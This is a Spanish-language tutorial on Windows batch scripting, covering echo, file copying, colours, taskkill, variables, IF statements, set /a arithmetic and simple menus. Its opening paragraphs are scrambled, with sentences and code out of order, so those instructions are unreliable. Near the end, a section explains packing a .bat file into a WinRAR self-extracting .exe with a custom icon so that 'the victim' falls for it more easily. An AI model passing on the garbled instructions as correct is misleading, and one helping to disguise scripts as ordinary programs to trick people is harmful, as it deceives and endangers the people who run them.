Si ocupamos un echo seguido de un texto y el doble signo > (>>) se escribirá en la siguiente linea vacía del archivo que prosiga. y eliminamos el original.TXT" y su copia se llamará "COPIADO.txt" que si lo abrimos. Para ello.extensión echo TEXTO SIGUIENTE LINEA >> nombre. Después de que ejecutemos el Batch.txt" exit Guárdalo en la carpeta como NombreQueTuQuieras.extensión Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga. si vamos al Disco C. A continuación. la pantalla negra se abrirá y cerrará. Copiaremos un archivo" Pausamos el intérprete para que no siga de largo.TXT". copiamos el archivo "COPIAME. "COPIAME.txt echo Y esta es la Siguiente >> nuevo.extensión echo TEXTO SEGUNDA LINEA >> nombre. tenemos que escribir algo como esto: Código : echo TEXTO DE PRIMERA LINEA > nombre.txt y otro copiado2. luego imprimimos en pantalla "Hola. Creación de nuevos archivos: Con Batch podemos crear otros archivos. copiamos la copia y cerramos el Batch.TXT". Personalizando el SHELL .txt" "copiado2. Pero en la carpeta en la que está nuestro batch se abra creado un nuevo archivo "nuevo.copy "copiado.txt.txt Si ejecutamos eso. dentro estará escrito lo que especificamos. y ejecútalo. veremos que hay dos nuevos archivos de texto: uno llamado copiado. También si vamos a la carpeta del Batch. La movemos a la carpeta raíz del disco C.txt echo Esto esta genial >> nuevo.bat. veremos no está el archivo de texto original.txt echo Esta es la Segunda linea >> nuevo. Lo que ha hecho la cadena de instrucciones es más o menos lo siguiente: Primero apagamos el eco. Hagamos la prueba: Código : echo Creando un Archivo de texto > nuevo. Por ultimo cambiamos de directorio al disco C.

Entonces si anteponemos un mensaje. Siendo su sintaxis: COLOR AB Donde A= El color de el Fondo y B= Color de las letras. Aquí un ejemplo.. Para ver todos los colores ve el MS-Dos y escribe color/? TITLE: Para cambiar el título de la barra de tareas solo escribe: Title Loquequierascomotitulo PAUSE PERSONALIZADO: ¿No te gusta que al poner pause salga "Presione una tecla para continuar. quedaría así. Código : echo Aprieta cualquier tecla para seguir pause>nul Además puedes jugar con los caracteres.Seguro que no te gusta mucho el aspecto del Shell. Aquí veremos como personalizarlo un poco.. donde cambié los colores y jugué con los caracteres y personalicé el PAUSE: ."? Pues si escribes "pause>nul" no aparecerá ni un texto. COLOR: Con la función color podemos cambiar los colores de fondo y las letras.

exe /f Fuerza el término del proceso. este se cerrará. Matando Procesos: ¿Alguna vez has presionado CTRL+ALT+DELETE? Si lo haces se abre el Administrador de tarea. haciéndoles clics y apretando "terminar proceso" lo puedes acabar. Código : taskkill ²f -im wmplayer. echo. para ver si esta disponible escribe taskkill/?) Su sintaxis es: Código : Taskkill -f -im proceso. se usa la función: Taskkill (No funciona en todos los pc. Un ejemplo seria escribir.exe Si lo ejecutas y tienes el Reproductor de Windows Media abierto. echo Esto esta personalizado. para salir presiona una tecla. ABRIENDO PROCESOS: Ahora abramos ese proceso que cerramos.exe . pause>nul exit Cabe mencionar que echo. En la pestaña procesos salen algunos procesos que están andando en tu pc. Con batch eso es muy fácil. (ECHO seguido de un punto)sirve para saltarse una línea.El código que empleé para esto fue: Código : @echo off color 30 echo ================================== echo = = echo = Personalizado = echo = = echo ================================== echo. Para abrir procesos se usa la función Start que funciona así: Código : start proceso.

.También puedes abrir paginas web con tu explorador predeterminado. cuando la llamamos seria %zero% A LA PRACTICA Comenzaremos examinando el code siguiente: Código: echo off title variables echo bienvenido al ejercicio para aprender variables echo .cl Se abrirá tu Explorador de Internet en Google. ´/pµ significa que el usuario le pondrá el valor a la variable por medio de una pregunta. "=cómo te llamas?" es la pregunta que se le hará al usuario. ´Setµ es el comando para llamar variables. "nombre" ahí está el nombre de la variable.exe Se abrirá el Reproductor de Música Código : start www. Variables: Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero.google. Código : start wmplayer. pause set /p nombre=cómo te llamas? set /p edad=cuántos años tienes? pause echo hola %nombre% echo veo que tienes %edad% años verdad? echo Hasta luego! pause exit Ahora Examinemos el code: Código: set /p nombre=cómo te llamas? Con esto estamos haciendo que el archivo pregunte al usuario el valor de la variable nombre.

---------------------------------------------------------------------------------------------------------------------------Variables de entorno. solo que trabaja sobre archivos y no valores alfanuméricos. Tiene un funcionamiento idéntico al IF (NOT). Aquí se ve claramente: Código: @echo off set /p var=cuanto es 1+1?? if not %var%==2 (echo mal) else echo bien pause IF (NOT) EXIST verifica que exista cierto archivo. Si es verdadero o no hace una acción determinada. Su principal rol en los batch es verificar si alguna variable es "tal" valor numérico.exe (echo tienes el explorer) else echo no tienes el explorer pause > nul ---------------------------------------------------------------------------------------------------------------------------- . verifica que algo no sea = a un valor especificado. Código: @echo off set /p var=cuanto es 1+1?? if %var%==2 (echo bien) else echo mal pause En cambio IF NOT es exactamente lo contrario. Un ejemplo: Código: @echo off if exist c:/windows/system32/explorer. Aquí mostraremos un claro ejemplo de su función que no es para nada complicado. %ALLUSERSPROFILE% ------> todos los usuarios %APPDATA% ---------> datos de programa %PROMPT%%TEMP% y %TMP% ---------> temporales %USERDOMAIN% -----------> obtener dominio %USERNAME% --------------->nombre del usuario Actual %USERPROFILE% ---------------> usuario configuración %programfiles% ---------------> archivos de programas %systemroot% ----------------> Windows %homedrive% --------------> disco Raíz ---------------------------------------------------------------------------------------------------------------------------IF (not) & IF (not) EXIST IF es un comando que permite verificar algo.

Ya que podemos asignarle un número a cada opción del menú y así cuando el usuario ingrese cierto número nos llevara al lugar designado.wikipedia. Abrir google echo 2. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica. Abrir wikipedia set /p var=Que pagina web quieres abir? Teclea numero de opcion y pulse intro.google. para salir pulse intro sin ninguna opcion: if %var%==1 (goto goo) if %var%==2 (goto wiki) :goo start www. Código: @echo off :menu echo 1. Para crear una se escribe: Código : set NOMBREVARIABLE = VALOR Para llamarla debemos escribir su nombre entre los signos %% Ejemplo: Código : @echo off set Nombre= Javier Letelier Ruiz echo %Nombre% pause La pantalla nos mostrara algo así: .com pause goto menu ---------------------------------------------------------------------------------------------------------------------------VARIABLES: Ahora aprendamos a declarar variables.Aplicación del IF a las variables y menús IF nos ayuda a la hora de crear menús.com pause goto menu :wiki start www.

45. IF ERRORLEVEL 2 GOTO ERROR rem xcopy es el comando para copiar una carpeta entera y no un archivo propiamente.Para cambiar el valor solo debemos hacer esto: Código : set Nombre= Nuevo Valor Si quieres que tu Variable sea dinámica.BAT copiar una carpeta de un origen a un destino.. También podemos multiplicarlas. etc. con /a: Código : set numero1=2 ser numero2=43 set /a suma= %numero1% + %numero2% echo %suma% pause exit Si ejecutamos este. coloca este codigo en el notepad y despues lo guardas con extension . sumarlas. xcopy D:\rutacarpetaorigonal C:\rutacarpetadestino echo Proceso Completa pause . nos devolverá la suma de 2 + 43.. la instruccion if es en el caso de que la rem carpeta no exista. Copiar carpeta usando archivo .BAT recuerda que la instruccion rem es para escribir comentario recuerda que la instruccion echo es para imprimir en la pantalla @echo off echo Probando rem esta linea es un comentario. osea que el Usuario la elija antepones /p: Código : set /p Nombre=Escriba su Nombre: Donde el Batch se pausara solo mostrando el Mensaje que va luego de "=" dejando que se escriba algo.

mayor que o igual UTILIZANDO SET /A set /a sirve para realizar operaciones yo explicare las basicas uranios y aritmeticos: sumar dividir multiplicar restar tambien os dejare una lista de las operaciones que se pueden realizar () .exit :ERROR pause Espero te sirva Saludos ---------------------------------------------------------------------------------------------------------------------------IF EQU .operadores aritméticos << >> .operadores aritméticos +.menor que IF LEQ . con esto ya podeis hacer una sencilla calculadora que sume .bit a bit y ^ .bit a bit = *= /= %= += -= .no igual IF LSS .desplazamiento lógico & . .separador de expresión un ejemplo de una sencilla suma: @echo off set /a resul=5 + 5 echo el resultado es %resul% pause exit mmmm como veis se alamacena el resultado en la variable resul que luego sera mostrada por echo.bit a bit exclusivo o | .asignación &= ^= |= <<= >>= .mayor que IF GEQ .menor que o igual IF GTR .igual IF NEQ .operadores unarios */% .agrupar !~.

notaras que con solo marcar esta casilla en el cuadro "Nombre de Archivo". escribe aqui el nombre completo del .bat" Si quieres cambiar el icono que identifica por defecto al archivo.exe. ---------------------------------------------------------------------------------------------------------------------------Ahora vamos con los códigos de los colores. para ello haz clic en la pestaña de la ficha avanzado y luego eliges "Opciones SFX" y te aparecera el cuadro "Opciones avanzadas SFX" En el cuadro Opciones avanzadas SFX. Aparecera un cuadro llamado "nombre de Archivo y parametros" y por defecto estarás ya en la ficha "General (Fijjate que la pestaña dice "General"..bat se ejecute al dar doble clic al . puedes mediante la ficha "Avanzado". escribe en el cuadro "Ejecutar tras la extracción" el nombre real del archivo.exe al ser ejecutado (Por Ejemplo: c:\) En el apartado Programa de instalacion. el compresor WinRar te permite hacer eso y más solo es cuestión de explorar un poco.exe es mas facil que la victima caiga claro existes otras formas de hacerlo pero esta es la mas sencilla y a su alcanse Si quieres convertirlo a .. 0 = Negro 1 = Azul ..bat. en ruta de extracción puedes escribir la ruta donde se extraera el contenido del .Haz lo siguiente: 1. (Si eres detallista.. en el apartado "Opciones de compresion" marca la casilla de "Crear un archivo SFX". Da clic con el botón secundario del mouse sobre el archivo que deseas cambiar para que te aparezca el menú contextual.exe.exe.. darle otras propiedades al . haz clic en buscar y localiza el icono en tu pc que deseas colocar al archivo. (Ejemplo quieres colocar tu propio icono al archivo). ve a la pestaña "Texto e icono" y el el cuadro "Cargar icono SFX desde fichero". este ha tomado ya la extensión . Ahora..exe y que siga funcionando.bat a .@echo off :menu set /p var=primer numero: set /p var1=segundo numero: set /a resul=%var% + %var1% echo el resultado es %resul% pause goto menu ---------------------------------------------------------------------------------------------------------------------------Bueno aqui les dejo como convertir un archivo .exe) Si quieres. es decir.." 2. para la ventana.bat "Archivo. si quieres que el . luego eliges la opción "Añadir al archivo.

.por ejemplo color 6C o color F1..** Mejor ver un ejemplo: @echo off title ejemplo set/p a=¿cual es tu nota en matematicas? cls set/p b=¿cual es tu nota en tecnologia? cls set/p c=¿cual es tu nota en lengua? cls set/p d= ¿cual es tu nota en ingles? .. TEXTO.2 = Verde 3 = Aguamarina 4 = Rojo 5 = Púrpura 6 = Amarillo 7 = Blanco 8 = Gris 9 = Azul claro A = Verde claro B = Aguamarina claro C = Rojo claro D = Púrpura claro E = Amarillo claro F = Blanco brillante Un ejemplo de como aplicarlos: @echo off title hola color 5E echo hola exit Seria asi el comando: color **COLOR VENTANA****COLOR LETRA** Sustituyendo **COLOR VENTANA** por el color de fondo y **COLOR LETRA** por el color de la letra.se expresa asi: set/a **VARIABLE**=**PREGUNTA.. ETC. Ahora vamos con nuevas variables....es para operaciones matemáticas...

echo tu nota media es de : %media% pause exit ---------------------------------------------------------------------------------------------------------------------------para activar el regedit pase esto a xp abres tu block de notas y despues lo guardas como task. al valor asig le asignamos 6.. sacamos la media.. porque son 6 las preguntas.reg Windows Registry Editor Version 5. que es = 6.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "DisableTaskMgr"=dword:00000000 "DisableRegistryTools"=dword:00000000 ------------------------------------------------------------------------------------------------------------------------------------ . set/a suma=a+b+c+d+e+f rem aqui sumamos set/a media=%suma%/%asig% rem aqui sacamos la media dividiendo suma que es = a+b+c+d+e+f que es el resultado puesto por el ejecutante entre asig..cls set/p e=¿cual es tu nota en sociales? cls set/p f=¿cual es tu nota en dibujo? cls set asig=6 rem esto que acabo de poner es para sacar una media. y asi.

Sign up to vote on this title
UsefulNot useful